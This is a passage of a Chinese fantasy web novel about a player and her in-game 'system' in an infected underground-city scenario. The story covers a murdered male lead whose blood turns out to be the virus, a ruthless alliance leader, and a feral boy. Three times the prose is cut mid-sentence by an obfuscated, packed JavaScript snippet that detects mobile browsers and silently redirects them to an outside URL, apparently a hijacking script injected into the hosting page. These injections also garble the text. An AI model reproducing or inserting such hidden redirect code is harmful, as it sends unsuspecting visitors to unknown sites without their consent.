因为她并不打算解释或者合作,更不可能求饶。 轰——!!! 炮击声震耳欲聋,实验室的大门飞出去,碎成几块,落地时发出极刺耳的声音。 连系统都下意识觉得不舒服,它虽然没有实体,但拟人度极高,甚至有类似于“听觉”的感官系统。 有时候,它会好奇自己为什么被创作成这个模样,和它见过的其他同类们都那样不同。 连“好奇”这件事, 都让他感到自己像个异类。 闵朝言却没什么反应。 她对痛苦的耐受度很高,这是系统的最新发现。 就比如刚才。 尽管作为主神的眷属不该承认这件事,但堕灵的强大就如同祂的诡异神秘一般不可想象。 而源自祂的病毒,亦是如此。 在被予烬袭击之后,闵朝言被感染的程度瞬间飙升了数倍,病毒的浓度足以让一个肉体凡胎的人类瞬间爆毙! 但并凭借着强悍到不可思议的□□强度,她居然只有一只手臂开始沸腾溃烂。 甚至在皮肉开始融化,几乎成为血水时, 闵朝言只是皱了皱眉,连痛哼一声都没有。 如果不是检测到她体内存在着例如肾上腺素开始飙升,这种人类剧痛下的生理反应,系统甚至怀疑她根本就没有痛觉。 足有一掌厚度的金属门碎片飞到闵朝言身前,一路向前冲去时,地面上被带起一阵火花噼啪。 她用脚抵住,缓缓抬眼。 作战靴沉重的脚步声由远至今,最终在闵朝言面前停下, 那是一个皮肤黝黑的女人,左眼处带着黑色金属眼罩,狰狞的疤痕隐隐延伸出来一点,仿佛她这个人一样,沉默而坚定。 她个子不高,身材健壮结实,小臂肌肉紧绷着,骨节粗大的手中攥着一把黑色石刃。 此刻,这把石刃指向闵朝言,就如同它的主人一般,平静而坚定: “你是谁?” 闵朝言看向她的角色版面。 「姓名:折日」 「身份:“畸变末日”副本—中期反派(原)??女主角(现)」 「年龄:未知」 「状态:中毒」 「战力:87/100」 「污染进度:13%」 和予烬相同的格式和信息,但不同的是,折日的污染进度清晰可见。 ‘你进化了?’ 闵朝言问系统。 「没有,事实上,见到其他角色我才发现,除了予烬之外,其他所有人的污染进度我都可以检测到,你看,」 系统回答。 随着它的声音,闵朝言看到缓缓走进实验室的其他人头上都顶着一个简单版面: 「流雨」 「小反派3号」 「29%」 「奇云」 「小跟班1号」 「18%」 …… 「随尚」 「小反派2号」 「46%」 「*与城主勾结,背叛联盟*」 嗯? 这个人的面板和其他的不一样。 简化版的面板中,只有角色的姓名、身份、污染程度这三项。对于系统和闵朝言来说,他们身上有意义的信息也的确只有这三样,以及—— ‘随尚版面里的最后一项,写的是他即将参与推动,或者正在进行中的剧情吗?’ 闵朝言说。 「你怎么知道?这就是他正在进行的剧情。」 系统惊讶, ‘对于系统而言,他们的价值只有这些。’ 闵朝言回答。 她的答案很正确,可不知怎的,系统心中一怔。 它不知道这是什么感觉,它本不该有“感觉”。 在原本的剧情设定里,这个随尚是个二五仔,早早背叛了希望联盟,和最终反派,研制出畸变病毒的地下城城主,勾结到了一起,导致希望联盟损失惨重,这是男主遭受的第一个重大挫折。 当然,圣父系男主的人设不会因此崩塌,这是善良寓言(?)又不是什么黑化末日系故事。 男主必定是大度又宽容地原谅了他,帮助他认识到自己的错误,帮助他在改过自新之后重新融入了集体,让大家也接受了全新的随尚。 至于那些因为他背叛而死的人? 故事当然要围着主角转,不是吗? 不过,这个副本现在的主角已经换人了。 这个新上任的主角,会像原剧情中的“予烬”那样大度和宽容吗? 闵朝言有些好奇了。 在系统的沉默中,闵朝言看着折日手中的石刃贴上了自己的脖颈。 黑耀石打制而成的石刃足够锋利,将闵朝言的发丝切断,碎发落在地上。 闵朝言没有躲,也没有怕, 她的眼神依然平静。 “我以为你是来杀我的。” 闵朝言说着,两指捏住石刃,锋利的边缘压住她的指腹,在上面留下一道红痕。 “你杀了我手下最聪明的研究员,我当然要杀你。” 折日反问。 原副本剧情中,对折日的着墨不多,毕竟这个副本的故事其实很简单,也很短, 也很没逻辑。 折日的设定是希望联盟的领导者,也是一个中期反派,或者说,主角的非同盟。 她并非最终反派城主那样,是一个希望用畸变病毒灭绝全人类的疯子,也不是像原设予烬一样热爱所有生命希望拯救所有人类的圣父。 折日是一个优秀的领导者, 她也只想拯救臣服于她领导的人。 所以她会不计成本地,在已经十分紧张的资金中全力支持予烬的研究, 也会在对方打算将病毒的解药公之于众,让所有人一起获救的时候,果断对自己亲自培养了十年的下属痛下杀手。 ——她是一个合格的领导者,更是一个蛰伏的统治者。 她当予烬为她所用,对她有利时,她可以用一切手段帮助予烬,情谊和培养,都是这些手段的补充注解; 直到予烬成为她的阻碍。 折日也是原本剧情中,唯一一个没有接受予烬救助的反派,这倒不是予烬的报复心,他当然还是一如既往地不计前嫌善于原谅。 她无法被救助,是因为她一直被没有被打败,因为她没有认输,她一直在战斗,直到最后再也拿不起剑,力竭而死。 只会战死,不会战败,这是折日的墓志铭。 尽管只是在简略文字中的匆匆一瞥,但折日是这个副本中,闵朝言唯一一个还算感兴趣的角色。 她喜欢“战死”这个结局。 “予烬停止呼吸还不到四十秒,” 闵朝言笑了一声,说, “你这样用炮把门炸开,是着急救他,还是怕他死不透?” “……” 折日什么都没说,收回石刃,那动作很快,也很准,不划伤闵朝言的肌肤,却又带下来一点黑发。 不爆发真正冲突的前提下,威慑力拉满。 闵朝言看着她的动作,抬手接住自己飘散的碎发,挑了下眉,分不出喜怒。 系统却没由来的瑟瑟发抖。 折日没注意,她所有的精力全部都用来观察地上尸体—— 予烬的尸体。 没有呼吸,没有心跳,皮肤也逐渐灰白下去,他的眼睛没有合上,瞳孔已经开始逐渐溃散了。 不管是从人类还是畸变怪物的角度而言,这都应该是死亡的证明了。 “……他,真的死了?” 折日喃喃自语。 她的语调有些阻涩感,语调微微上扬, 这不像是悲伤,也应该也不能被称之为高兴,只有浓浓的困惑。 好像,予烬会被人杀死这件事,让她无论如何也不能理解。 “嗯,现在这么看一眼,还真是……活着的时候就很漂亮,死了也很漂亮。” 闵朝言靠在墙上,说了一句,轻慢挑弄的。 “你真的杀了他。” 折日又重复了一遍, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16272336|182368||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 声音渐渐沉下来,浓黑无光的瞳孔直直盯着闵朝言,仿佛想要用目光刺穿掀开她的皮肉骨血,看清楚在那下面的到底是个什么存在。 闵朝言不怒反笑,眸光发亮,对着她勾勾手指,十足的挑衅架势。 「还打啊?你现在这样了都……」 系统觉得闵朝言绑定错系统了。 这个战斗狂应该去绑定屠杀系统才对! 折日却没理会,蹲下去,手伸出去,石刃点在予烬胸口处, 随后,她对着那颗已经停止跳动的心脏——狠狠刺穿! ? 这场面,别说系统,连闵朝言都愣了一下。 怎么回事? 这个时候的予烬和折日可还是关系很好的领路人和下属关系,即使剧情发生偏差,但折日也不应该从“倾力帮助的领路人”,变成“对予烬尸体补刀生怕他死不透”吧?! ‘……系统。’ 闵朝言的声音难得地迟疑了。 「……我懂。」 她低下头,看着自己的手臂。 从掌心蔓延到手臂的伤口已经不再那么腥红骇人,伤口处那红黑色的小蛇已经不再游动,安静地沉睡在那里,身上覆盖着一层极薄的冰层——它被短暂地冻结了。 这是净化道具的效果。 闵朝言知道,当这条小蛇身上的冰层裂开时,如果她还没有成功“修复”这个副本, 那么自己必死无疑。 “你其实想杀他。” 闵朝言合上手掌,看着折日。 “为什么?” 黝黑健壮的女人站起身,手中石刃滴滴答答流下血液。 如果他还有救,那是属于于烬的血液, 可是落在地面上的,却是一滴滴靛蓝色液体绽开。 “这就是为什么。” 折日回答。 闵朝言恍然大悟。 她早应该发现的。 在不知不觉中,她也潜意识地将“原剧情”当做了这个副本的“必然”,所以在系统说她的角色是第一个感染者时,闵朝言就此默认了这个设定。 但副本已经被污染,难道故事不能有更大的变化吗? 比如说, 人类也会感染畸变病毒这件事,早就被发现了。 “予烬是个畸变者,但他畸变的方向很奇怪。” 折日说着,神色凝重。 畸变病毒可以感染人类没有被正式公开,但其实,很多人已经隐隐意识到了这一点。最早发现的,自然是各个组织。 出于收集物质的现实需求和对重回地面的期待,人类依然会定期派遣作战队回到地面上。 怀揣着“人类不可能感染畸变病毒”的认知,战士们没有花费太多精力在自我防护上。 直到第一个畸变者出现。 遭遇畸变病毒感染的人,被称作“畸变者”。 这些畸变者往往会陷入某种程度的畸变或者扭曲。 有些畸变体现在外观上,例如皮肤溃烂或者异化,肢体的扭曲或者过度发育,总之就是看上去已经离人很远了; 有些畸变则更加隐蔽,体现在人的精神层面,陷入过度的疯狂、偏执或者暴力,这样的畸变看似不如肢体畸变骇人,但破坏力却要大上太多。 肢体上的畸变非常明显,应对方式也简单——所有作战小队在归程之前,加入了一项新流程:清扫畸变者。 但是精神上的畸变者有什么特征? 折日也不知道。 直到某天,她看到予烬意外被实验室的器材划伤,被迅速藏起来的伤口里,有红中发蓝的血液渗出。 她开始严密地监控起予烬,并在这个过程中,发现了另外一件可怕的事情。 “我把他关起来,锁就会突然坏掉;我对他开枪,枪口会卡壳;只要对他不利,就一定会有莫名其妙的意外出现,帮助他脱离险境。” 折日对着闵朝言抬起石刃,眼中浮现的却不是敌意,而是强烈的疑惑和被强压下去的惊惧: “谁也杀不了他,但你是可以。” “你到底……是什么东西。” 5. 暴君与地下城(5) 我是什么东西? 闵朝言一时居然没有答案。 一个现实生活的失败者? 没有亲人,没有朋友,自从那场事故之后,连对过去的记忆都已经彻底失去,只剩下“遗产”和一个冰冷的游戏仓。 一个游戏中的大魔王? 一载入游戏就拥有着极其强大的实力,一拳一个大佬玩家,一脚一个强力NPC,随随便便就把自己杀成了红名榜第一名。 她好像都是,又好像都不是。 她似乎从来也没有想过, 闵朝言,是什么? “怎么,你怕我把你也杀了?” 闵朝言笑了一声,看着折日,气势毫不退让。 “好大的口气。” 折日没被激怒,依然平静, “现在是你在我的地盘里。” “你能有这么大的地盘,证明你是个聪明人,那就更不可能杀我了。” 闵朝言用右手撑着墙站起身来,感到心脏鼓胀地厉害,每一次跳跃都带动着左臂上的伤口抽动。 在道具的压制下,那里已经不再疼痛, 却依然有着一种被冻结后,肢体不再属于自己的僵硬感。 闵朝言失去感知这件事,证明了她在逐渐失去对这只手臂的控制权, 也证明了来自堕灵的病毒正在侵蚀她的身体。 接下来无法控制的会是什么? 手臂,小腿…… 直到最后, 思维。 “我连予烬都敢杀,会不敢杀你?” 折日意有所指。 [71:36:05] 闵朝言将视线从虚空中的倒计时收回。 “我的时间不多,不想浪费在绕弯子上。” 闵朝言走到予烬的尸体旁边,想了一下,右手拿着断裂的束缚带,沾了点他胸前伤口处依然在流动的血液,抬手抹到眼前的玻璃展柜上。 这一抹靛蓝色,和最中心那只玻璃试剂瓶中存放着的蓝色液体, 分毫不差。 ‘系统。’ 闵朝言拿出蓝色试剂瓶。 「我来检测!」 系统马上答复。 刚才为了拿出透明液体(后来被证实是无色的浓缩病毒),予烬已经解开了展示柜的防护锁,在闵朝言拿出试剂瓶的瞬间,系统迅速开始解析。 「解析中——」 「病毒浓度中——」 「基型模组分析中——」 在系统电子音的间隙, 闵朝言抬头看着眼前柜子中,从深红到靛蓝色,再从靛蓝色到透明色,按照颜色整齐排列的几排试剂瓶,脑海中生出一个猜测来。 「分析结束!这个瓶子里的,是予烬的血液,但是很奇怪。这个血液,还“活着”。」 系统说, 「这个血液没有发生任何凝固或者变性的特征,可这个容器即不是抗凝容器,也没有加入任何抗凝试剂成分。」 闵朝言低下头看着瓶盖上没有显示任何信息的纸质标签,微微皱起眉。 「标签的硬度显示它至少已经被使用了一个月以上,期间没有被打开过。以这个副本的科技进度,即使是最好的抗凝容器,也不可能维持血液的活性到现在。」 系统说。 科技不足, 畸变来凑。 ‘检测这里所有试剂和予烬血液的相似度。’ 闵朝言说。 「你怀疑……」 系统似乎也明白了。 ‘对’。 闵朝言说。 “予烬很宝贝这个展柜,我之前安排过几个人,尝试偷偷打开,或者从他口中骗出密码。” 折日说, “很快,他们就都死了。” 「前男主已经黑化到这个程度了?」 系统惊讶。 它适应得倒是很快,对予烬的称呼已经马上变成了“前男主”。 看来,不再有用的主角不仅会被他的副本抛弃,也会被系统抛弃。 ‘结果出来了?’ 闵朝言问。 系统瞬间安静,解析样本的数据流动声再次响起来。 “我之前也逼他打开这个柜子,” 闵朝言对着折日说, “他原本还在试图取信于我,但是在我的这个要求之后,他马上改变了态度,决定杀了我。” “这里面的,到底是什么东西?” 折日问。 “看。” 闵朝言将手中的靛蓝色试剂瓶,和予烬伤口处的靛蓝色伤口对比,折日的眉头皱在一起。 她厌恶地看了一眼予烬的尸体,使了个眼色。 很快,随尚和另一个人走上前将予烬的尸体拖走。 闵朝言下意识看了一眼另一个人,对方头上顶着简单的三行字: 「加戊」「背景板6号」「39%」。 是个再普通不过的背景板角色。 只是,那三行字的颜色,是不是有点淡? 这有什么象征意味吗? “他可真是个怪物。” 看着予烬的尸体被拖走,折日说。 “这样的‘怪物’,你们还发现了几个?” 闵朝言的注意力重新回到折日身上,开口问。 “目前来看,畸变病毒只能从畸变动植物身上传染给人类,所以情况还算能控制住。” 折日回答, “肢体畸变的队员们会在回程之前就被杀死,精神畸变的人,我们目前只发现了予烬一个。” 畸变病毒只能由畸变动植物传染给人类…… 闵朝言思索。 “予烬也会参加去地面的任务?” 她问。 予烬的身体素质极差,战斗力几乎可以说是没有,这种情况下他怎么想都不应该去参加危险的地面上工作吧? “他对这个很积极,无偿和所有组织的地面探勘队进行合作,并且会带回很珍贵的地面上数据,所以,我们也没有阻止的理由。” 折日说。 “那其他的勘探队队员都没有意见吗?在地面上,他可是十成十的拖累。” 闵朝言又问。 易地而处,如果闵朝言在一个可能随时失去性命的工作中,还要带上一个拖油瓶,她是绝不可能接受的,甚至会先下手为强把拖油瓶干掉。 当然, 予烬是一个极其美丽,近乎完美的漂亮拖油瓶。 所以, 她会在干掉他的时候,下手更小心一些,让他在死后也依然好看。 闵朝言想。 “他们都很欢迎他,甚至还会争抢带上他的机会。连和平鸽的队伍都不排斥他。” 折日摇头。 在整个地下城中,一共有三个比较说得上话的大势力。 第一名,是此刻地下城的实际统治者——城主,他凭借着地下城中最强的单兵作战能力,杀穿了上一个城主的居所,成为了最新的城主。 ——也是原剧情中的最大反派。 他以力量威逼,自然有人为他所用。 城主对地面上的畸变动植物情有独钟,每隔几个月就要派一支勘探队上去。 第二名,是折日领导着的希望联盟,不以个体的能力见长,但是凝聚力极强,每个成员都对联盟足够忠诚,愿意付出生命来为联盟战斗。 希望联盟用情义驱使, 成员们都渴望着早日解决畸变病毒,回到原本的地面家园里,大约一年中,会派遣两次勘探队去搜集物资和情报。 第三名,则是由神秘的“信使”领导着的情报组织“和平鸽”,这个组织最特殊的地方在于,他们实力强盛,却完全“不存在”。 和凝聚力 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16272337|182368||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 极强,成员们以家人互称的“希望联盟”不同,“和平鸽”的成员之间,是完全匿名的联系往事,彼此之间使用代号,见面时用面具掩盖真容。 使用代号时,他们是和平鸽中的一只白鸽;放下面具时,他们就成了地下城中形形色色,互不相识的人。 没人知道和平鸽为何而存在,他们只对地面上感兴趣。他们有一支完全匿名的勘探队,常年生活在地面上,一直在减员,也一直在增补。 而据折日说,从三年前开始,予烬就和所有的地上勘探队都有过接触。 这是之前剧情大纲上没有的内容。 原剧情中大纲只会记录重要的剧情节点,并没有细节描述。 闵朝言深深感到大纲信息量的不足——甚至,在副本被污染后,这已经不是一份完全正确的大纲了。 三个组织特征迥异,他们旗下的勘探队居然都十分欢迎予烬的加入? 听完折日的介绍,闵朝言不自觉挑眉。 看来这位“圣父男主角”还有个万人迷人设。 ——主神碎片的爱好还挺古早。 “这个瓶子里面的是予烬的血液。” 闵朝言说, “我怀疑不仅仅是这一瓶,而是这个展柜里所有的试剂瓶里,都记录了他逐渐被畸变病毒感染,逐渐畸变的过程。” “你是说,他一直在把自己当实验品,记录这些东西吗?” 折日看着玻璃展柜,眉头紧皱成一个“川”字,可见此刻心情绝不美妙。 玻璃展柜中整整三十七个试剂瓶, 象征着予烬对自己的三十七次“解剖”。 一个人,居然能这样平静地看着自己走向一个无可知的陌路, 并且将这个末路变成自己的探究课题。 这究竟是对研究的执著, 还是癫狂? “这样看的话,他一开始还是正常的。” 折日看向放在第一排第一个的试剂瓶,它里面装着深红色的液体,几近凝固,是其中最像是“人类血液”的一瓶。 “那这里怎么解释?” 折日又问。 她指向正中间的空位,那里曾经存放着自己手中的这只靛蓝色玻璃试剂瓶。 如果如闵朝言所说,这个靛蓝色瓶子里存放着的是予烬此刻的血液,而最开始的瓶子是予烬刚刚感染时的血液, 那么,在这个瓶子之后,还有十几个颜色逐渐浅淡,最后接近于透明的玻璃试剂瓶, 是什么? 展柜的最后一个位置是一个空位, 曾经存放在那里玻璃瓶已经碎在地上——这正是刚才予烬拿出来,试图用来游戏刺杀闵朝言的武器。 那些透明的液体几乎是极高浓度的畸变病毒,杀伤力极强,连闵朝言都中招了。 难道是予烬从自己血液中提取出来的? 他在试图制造病毒武器吗? 「解析结果,出来了,但是……可能和你想的不一样。」 系统的声音中带着迟疑。 ‘不一样?’ 闵朝言问。 「不一样……顺序反了」 「最红色的那瓶血液里,的确有大量人血,但是人血中的DNA和予烬是排斥的!不是予烬的血液,而是予烬把自己的血液里加上了其他人的血!」 「他的确用高浓度的病毒液在和人血混合,只不过是其他人的血。」 「那个高浓度的病毒液……才是他真正的血液。」 另一边, 随尚和加戊正在推着停尸车,予烬的死讯不能外传,他们在车上铺了一张白布。 此刻,白布随着车轮滚动的节奏晃动着。 忽然, 一只苍白的手从白布下伸出,紧紧抓住了加戊的手腕! 青白肌肤下,血管中流动着的靛蓝色, 好像浅了一分。 6. 暴君与地下城(6) 「我们都错了。」 「予烬早就已经被彻底感染了。」 系统说。 「和予烬尸体里DNA最符合的,是这个透明病毒浓缩液。」 「靛蓝色的那个瓶子,是他的血液和一个未知液体的混合物,深红色的瓶子,是他的血液和人类血液的混合物。」 但予烬的尸体里,现在流着的是靛蓝色的血液。 也就是说,他曾经将自己的血液全部抽出来,然后注入令某种混合液,稀释了自己的血液。 他为什么这么做? 闵朝言看着眼前玻璃展柜中的一排排试剂瓶,眉头缓缓皱起。 从透明到靛蓝色,又从靛蓝到深红, 这些血液样本的颜色变化,写满了予烬在感染病毒之后,一次又一次试图证明自己还是“人人类”,又一次次失败的尝试。 从原剧情中那个愿意牺牲一切为他人的圣父, 到现在可以毫不犹豫把自己当作病毒武器的疯子, 他走了多久? ‘我现在在怀疑一件事。’ 闵朝言说。 「什么?」 系统问。 ‘我被予烬泼了高浓度病毒,导致堕灵病毒严重侵蚀了我的左臂。然后,我强迫他喝下我左手的血液,他就死了。’ 闵朝言的声音很平静, ‘但是,我们现在知道,那个透明的高浓度病毒,本身就是从予烬自己的血液中提取出来的。’ 「我们一直以为杀死他的是高浓度病毒……但生物会被自己的血液杀死吗?」 系统的声音迟疑了。 ‘一般生物不会,畸变生物,也许?’ 闵朝言说。 ‘所以,现在有两个可能。’ 一,是予烬自己也会被高浓度的堕灵病毒伤害——即使他已经是被彻底污染的畸变生物了。所以他才会将自己的血液稀释为目前的状态。 二,是予烬并不会被自己血液中的堕灵病毒伤害,他稀释血液有另外的目的。 如果是这种情况,那么…… ‘他是被我的血液杀死的。’ 闵朝言说。 “也许。” 她补充道。 系统觉得自己直冒冷汗。 虽然闵朝言进入副本是顶替NPC身份,但实际上的身体数据都是她自己的! 如果她的血液中蕴含着什么大秘密…… 系统绝望地闭上(并不存在的)眼睛。 毕竟,知道太多秘密的人(统),都活不久。 「哈,哈哈……说起来,副本换了主角,但是剧情居然没有自动更新呢……」 系统僵硬地转移话题。 ‘更不更新都不重要。’ 闵朝言说, ‘本来也不准。’ 如果刚进入副本的时候没有原剧情,闵朝言觉得自己大概还能少走一点弯路。 想到剧情中予烬一脸无私牺牲自己的样子,再看看闵朝言现在依然无法自如行动的左臂, 系统默默闭嘴了。 “接下来你打算怎么办。” 折日问。 她的声音将闵朝言的思维重新拉回现实。 “打算赖着你,怎么样?” 闵朝言挑了下眉,回道。 “予烬的死瞒不了人,愿意为他报仇的人可不少。” 折日说, “希望联盟不会帮你抵挡他们。” 予烬表面上还是很具有圣父大爱的,他无偿帮助的对象在地下城数都数不过来,其中不乏过命的恩情。 杀死一个地下城民众心中的“圣人”,要承担的恶名和追杀,不可谓不沉重。 这也是为什么折日这些年来一直只能尝试暗杀, 因为予烬的名声太“完美”了。 谁能用找到杀死圣人的罪名呢? 除非公布他已经被畸变病毒感染的真相——可那样的话,又要把“畸变病毒会感染人类”这件事公之于众。 已经在苟延残喘的地下城无法承担这个消息带来的骚动,这是所有组织默认的共识。 “我杀了他不是也帮你解决了心腹大患吗?可真是无情。” 闵朝言唇边扬起点笑意, “要不把你也杀了吧,反正都要被追杀。” 折日看了一眼闵朝言,像是在看着什么新鲜品种的神经病,半响才说: “不过,我可以告诉你谁能帮你。” — 闵朝言压低帽檐, 走入一个偏僻的小巷中。 地下城没有自然光,所有的光源都来自于最上方的“人造太阳”,其实就是一盏巨大无比的灯,到了夜晚,这盏灯就会被调暗,变成只属于地下城的“月亮”。 和真正的太阳不同,地下城的“太阳”是有照明区域限制的。 地下城的阶级差异也由此诞生,光源成为了区分身份的象征,越能被照亮的区域,生活着越“高贵”的人。 如今是地下城的“日间”,但在这个巷子,光源依然昏暗,只能勉强看清物体的轮廓,如果是到了“晚上”,恐怕更是漆黑一片,什么也看不见。 毫无疑问,这里是“下等人”聚集的地方。 闵朝言在一个角落停下脚步,打开了手中的纸条。 这是折日的礼物。 “去找‘信使’,他会帮你。” 她这样说。 打开纸条,拿上来没有任何文字,只有一点闪烁着荧光的图案, 圆形,线条流畅但破碎,看上去某种图腾,但闵朝言不认识上面的花纹。 荧光在黑暗中默默闪烁着。 一个身影出现在闵朝言身后的墙上,没有一点声响。 「有人来了!九点钟方向!」 系统检测到生物气息。 “信使?” 闵朝言猛地抬眼,转头看去。 迎接她的只是一声喉咙里压低溢出的咆哮声。 比那更快的是撕裂空气的攻势,闵朝言抬起右臂挡住,发现那什么武器也不是,只是一只手掌。 在昏暗中,肌肤颜色隐隐清白,骨节青筋分明,极度瘦削,仿佛下一秒骨头就要刺破皮肤,鲜血淋漓地折出来。 这只手如今张成利爪状,指甲是近乎于浓黑的墨蓝色,尖锐非常,折射出阴冷的光线。 “你是谁?” 闵朝言反手抓住来人的手腕,皱起眉问。 对方却不回答,再次向闵朝言冲来! 暴冲中,闵朝言一个用力,捏碎了自己握着的腕骨!——可这样的剧痛只换来声野兽痛呼般的嘶吼,动作反而更快。 闵朝言侧身躲过攻击,抬脚踹开眼前人,左臂撞到墙壁上,传来一阵剧痛,她无声地咬紧牙关。 「好强!」 系统惊讶。 这是一个奇怪的角色。 闵朝言看着他头上顶着的面板。 「姓名:——#姓名读取错误!」 「身份:“畸变末日”副本—%角色读取错误!」 「年龄:未知」 「状态:饥饿」 「战力:*&战力值读取错误!/100」 「污染进度:——污染进度读取错误!」 …… 闵朝言沉默半响,问系统: ‘你中毒了?’ 怎么什么都是读取错误? 一共才几项! 「不是,是他,他很怪!我读取其他人的都没有问题!」 系统疯狂自证。 「他的数据,她整个人……就很奇怪啊!他是未完成角色吗?!」 ‘未完成角色?’ 闵朝言侧身闪过攻击,抬手握住自己的左小臂,问。 「你不好奇吗,为什么所有的角色都没有具体年龄?」 系统回答, 「不是我读取不出来,而是他们的年龄本来就“不存在”,在原剧情中,他们没有被设置年龄,所以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16272338|182368||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他们的年龄永远是未知的。」 闵朝言向后躲避,直到后背抵住冰冷的墙面, 依然无路可退。 「所以,副本毕竟只是副本,里面的剧情和设定都是有限的,很多自然人会拥有东西,比如年龄,生日,过往经历……」 「角色是不会有这些东西的,因为对于剧情来说,没有用。」 系统说。 ‘但一个角色,一定会有名字,哪怕是个代号;一定会有身份,因为他们需要在剧情中起作用。’ 闵朝言冷静地回答。 「是的。但他没有名字,也没有身份,他要么是在定稿之前被删除的未完成角色,要么……」 系统的声音停住了。 ‘要么,是这个副本被感染病毒之后,自行诞生的角色。’ 闵朝言说。 她的后背抵着小巷角落里的墙壁,左臂因为病毒感染如今已经几乎无法自由行动,只剩下右臂还可以抵抗攻击。 「我无法检测他的战力值,但你的已经……」 系统说。 [玩家:闵朝言] [状态:受伤+污染] [战力值:91(-20)] 闵朝言眼前浮现了自己的简略版面, 其中,战力值那一行,被系统用红色加粗显示了出来。 她现在的状态其实很不好。 如果刚才真正和折日爆发冲突,她大概率不会胜利。 但就像闵朝言最欣赏的角色一样, 她只会战死,不会战败。 闵朝言握住自己肌肤已经开始溃烂的小臂——系统之前提供的净化道具只能抑制病毒对她大脑的侵蚀,却无法停止肢体的受损。 [武器:溺亡者] [等级:S++] [磨损:7%] [死亡之海的一条地脉,此刻为你而战。] [请玩家确认,是否使用‘溺亡者’?] 闵朝言握住左臂的手逐渐缩紧,金色的光芒浮现,她掌心处缓缓出现一只长鞭。 长鞭通体是浓郁近黑的墨蓝色,把手上蜿蜒生长的纹路,像是大片死去的珊瑚,触手极凉,握住的瞬间,仿佛被一片已经死去的海拥抱。 她死死盯着一步步向自己走来的人。 这是个男孩,看不出年纪,但瘦得很丑,脸上几乎没有肉,骨头支起皮肤,似乎下一秒就会把那张粗糙的人皮戳破。 他看着闵朝言,一双金色竖瞳亮起。 比起人,他更像是看到了食物的,饥饿已久的狼。 “你的眼睛很好看。” 闵朝言说。 她的唇色惨白。 话音未落,她伸手向前,动作看似缓慢,这狼一样的男孩却呆呆定在原地,直愣愣地看着她。 他似乎没想过有人会和他说话,也不知道这这句话到底是什么意思。 长鞭挥舞时,鞭身花纹划破黑暗,绽放出血色与幽兰相交错的光芒,鞭风划破男孩的眼角,那粗糙的肌肤却在瞬间愈合。 他眼中的金色愈发盛放。 “如果我把你的眼睛整个挖下来,也能复原吗?” 她笑了一声,咳出一口血。 那血液已然近乎于黑色。 狼孩没有说话,他像是长久被关在沼泽里的囚犯,乍一见天光,便整个人僵直呆住。 闵朝言抬手,指尖抚过他的眼球,感受到细微的震颤。 忽然,男孩向她暴冲而来! 闵朝言下意识甩起长鞭,鞭身在他锁骨处留下血肉翻开的伤口,却无法阻挡他前进的步伐。 他要干什么? 他想要什么? 现在的我……该怎么杀了他? 闵朝言咬牙支撑,却无力再甩起哪怕一鞭, 他没有停下,不顾一切地,几近疯狂地,他和闵朝言之间的距离已经短于呼吸—— 他紧紧抱住她, 呜咽着,仿佛幼犬正哀痛地嘶吼。 7. 暴君与地下城(7) 闵朝言睁开眼睛,感觉自己半边身子都是麻的。 怎么回事? 脑海中的最后一段记忆,还停留在狼孩的呜咽哀鸣声中。 她…… 哦,对, 她体力不支,昏过去了。 战力值是波动的,它代表的不是理论上的作战能力,而是体力、精力等等各种复杂数据的结合分析,体现的是“当下的战斗力”。 而闵朝言因为堕灵病毒的侵蚀,体力和行动力上,都受到了相当的伤害。 她在变弱, 闵朝言每一秒钟都更清晰地体会到这一点。 [59:31:11] 闵朝言的视线中,一行红色加粗的字体浮现。 这是副本结束的倒计时。 「你终于醒了!你睡了十几个小时了!」 系统十分焦急。 十二个小时。 闵朝言低下头,想去看看自己的左臂现在怎么样了——左边身子的麻意僵硬,让她怀疑系统给的那个抑制道具已经失效了。 这个时候如果病毒扩散了,事情就麻烦了。 闵朝言的右手紧握成拳,指甲深深掐进自己的掌心里,以此强压下心中的不安。 她低下头去,映入眼帘的却不是自己的手臂,而是一颗毛茸茸的脑袋。 是狼孩,他正趴在闵朝言身上睡觉。 身体蜷缩起来,小狗一样将自己的脑袋和半边身子压在闵朝言身上, 他枯草一样的黄色碎发落在额间,闭着眼睛睡觉的时候有种诡异的乖巧感,那张过分瘦削的面孔此刻也显得柔和了起来。 不对,不是“显得”…… 闵朝言的视线认真起来,她用尚且行动自如的右手捏住狼孩的脸蛋,那上面居然有了点肉的触感。 十个小时里,这孩子就长胖了一圈。 怎么可能? “唔……” 被闵朝言的动作弄醒,狼孩打了个哈欠,揉着眼睛醒过来,下意识侧过脸,用自己的鼻尖蹭了蹭闵朝言的手心。 真的, 太像小狗了。 有点可爱。 